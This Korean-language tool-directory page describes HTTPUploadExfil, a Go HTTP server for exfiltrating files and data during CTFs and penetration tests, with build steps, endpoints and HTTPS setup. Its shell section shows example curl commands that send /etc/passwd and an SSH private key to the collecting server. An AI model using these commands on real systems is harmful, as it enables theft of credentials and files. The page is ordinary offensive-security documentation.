Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
HTTPUploadExfil — 예를 들어 CTF 중에 파일/데이터를 전달 및 유출하기 위한 간단한 HTTP 서버입니다. | Kitploit
도구/GitHubGitHub/ingokl/httpuploadexfil
Data ExfiltrationWeb SecurityCTFPenetration Testing
GitHubingokl/httpuploadexfil

HTTPUploadExfil

예를 들어 CTF 중에 파일/데이터를 전달 및 유출하기 위한 간단한 HTTP 서버입니다.

저장소 보기
82181년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

HTTPUploadExfil

HTTPUploadExfil Logo

MIT License GitHub stars

HTTPUploadExfil은 Go로 작성된 (매우) 간단한 HTTP 서버로, HTTP를 사용하여 머신에서 파일(및 기타 정보)을 가져오는 데 유용합니다. 다양한 사용 사례가 있지만 위험이 낮은 공격 시나리오(예: CTF)에서 사용하도록 설계되었습니다.

python3 -m http.server와 비슷하지만, 머신에 데이터를 넣는 대신 머신에서 데이터를 가져오는 용도라고 생각하면 됩니다.

당연히 이는 데이터를 유출하는 매우 시끄럽고 다소 제한된 방법입니다. 그럼에도 불구하고 SMB나 FTP를 사용하는 것보다 꽤 편리하고 쉽습니다. 더 우아한 방법을 찾고 있다면, 예를 들어 dnsteal 또는 PyExfil을 살펴보세요.

TL;DR

  1. go build를 사용하여 도구를 빌드합니다.
  2. 머신에서 ./httpuploadexfil :1337 /home/kali/loot를 실행합니다.
  3. 데이터를 유출해야 하는 머신에서 http://YOUR_IP:1337/에 접속합니다.
  4. 업로드된 파일을 /home/kali/loot에서 찾습니다.

HTTPs가 필요한 경우 아래 정보를 참고하세요.

Linux 및 Windows용 바이너리는 GitHub에서 다운로드할 수 있습니다. 단, 이러한 바이너리가 최신 변경 사항을 반영하지는 않을 수 있습니다.

빌드 및 개발

바이너리가 제공되지만 직접 빌드하는 것을 절대적으로 권장합니다. 이렇게 하면 최신 버전을 사용할 수 있고, 정확히 무엇을 실행하는지 알 수 있습니다. 과정은 간단합니다:

폴더 내에서 go build를 실행하면 해당 플랫폼용 httpuploadexfil 실행 파일이 생성됩니다.

도구를 변경한 경우 go fmt main.go를 사용하여 포맷을 정리하는 것을 잊지 마세요.

또는 make를 사용하여 빌드할 수도 있습니다. make cert를 실행하여 SSL 인증서를 생성할 수도 있습니다(아래 참조).

사용법

가장 일반적인 사용 사례는 머신 A에서 서버를 실행하는 것입니다. 그런 다음 머신 B에서 브라우저를 사용하여 업로드 양식에 접속하고 유출할 파일을 선택합니다. 물론 아래에서 볼 수 있듯이 curl을 사용하여 수행할 수도 있습니다.

파일 업로드 외에도 HTTPUploadExfil을 사용하여 간단한 GET 요청을 통해 데이터를 유출할 수 있습니다. 요청이 \g 엔드포인트로 전송되면 전체 요청이 디스크에 저장됩니다.

따라서 요청 헤더를 사용하여 데이터를 유출할 수 있습니다. GET 매개변수(예: ?data=...)를 사용하는 것이 가장 쉽지만 다른 옵션도 있습니다.

HTTPUploadExfil

기본적으로 HTTPUploadExfil은 포트 8080에서 제공됩니다. 모든 파일은 현재 디렉터리에 기록됩니다.

./httpuploadexfil

일부 인수를 제공할 수도 있습니다:

./httpuploadexfil :1337 /home/kali/loot

요청 로깅이 필요한 경우 -log 플래그를 다음과 같이 전달하세요:

./httpuploadexfil -log

첫 번째 인수는 바인드 주소이고, 두 번째 인수는 파일을 저장할 폴더입니다.

도구는 또한 루트 디렉터리의 파일을 /l 엔드포인트 아래에 노출합니다. 이는 대상 머신으로 파일을 쉽게 가져오는 방법으로 사용할 수 있습니다.

엔드포인트

웹서버는 사용할 수 있는 네 가지 엔드포인트를 제공합니다:

  1. / (GET)은 업로드 양식입니다.
  2. /p (POST)는 업로드 양식의 데이터를 받습니다. file 필드가 채워진 multipart/form-data 요청이 필요합니다.
  3. /g (GET)는 모든 GET 요청을 받아 서버에 전체 요청을 저장합니다.
  4. /l (GET)은 지정된 폴더의 파일에 대한 액세스를 제공합니다(디렉터리 목록). 이는 기본적인 python3 -m http.server 기능을 제공하기 위한 것입니다.

HTTPs 모드

HTTPUploadExfil은 HTTPs 모드로도 사용할 수 있습니다. 이렇게 하려면 바이너리 옆에 HTTPUploadExfil.csr 및 HTTPUploadExfil.key 파일을 배치하기만 하면 됩니다. 예를 들어 다음과 같이 생성할 수 있습니다:

root@kitploit:~
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr

이를 위해 make cert를 실행할 수도 있습니다.

서버가 HTTPUploadExfil.csr 파일을 감지하면 HTTPs 모드로 시작을 시도합니다. HTTP로 돌아가려면 인증서 파일을 제거하거나 이름을 변경하기만 하면 됩니다.

셸

Bash를 사용하여 GET을 통해 데이터를 유출할 수 있습니다. 예를 들어:

echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g

물론 curl을 사용하여 파일을 유출할 수도 있습니다:

curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p

할 일

  • HTTPs 버전 구현 (전송 암호화)
  • 다운로드 옵션 추가 (즉, python3 -m http.server 기능 제공)
  • 요청 로깅 기능 추가
  • 빌드 시스템 구축 (특히 Windows 및 Linux 크로스 컴파일)
도구 다운로드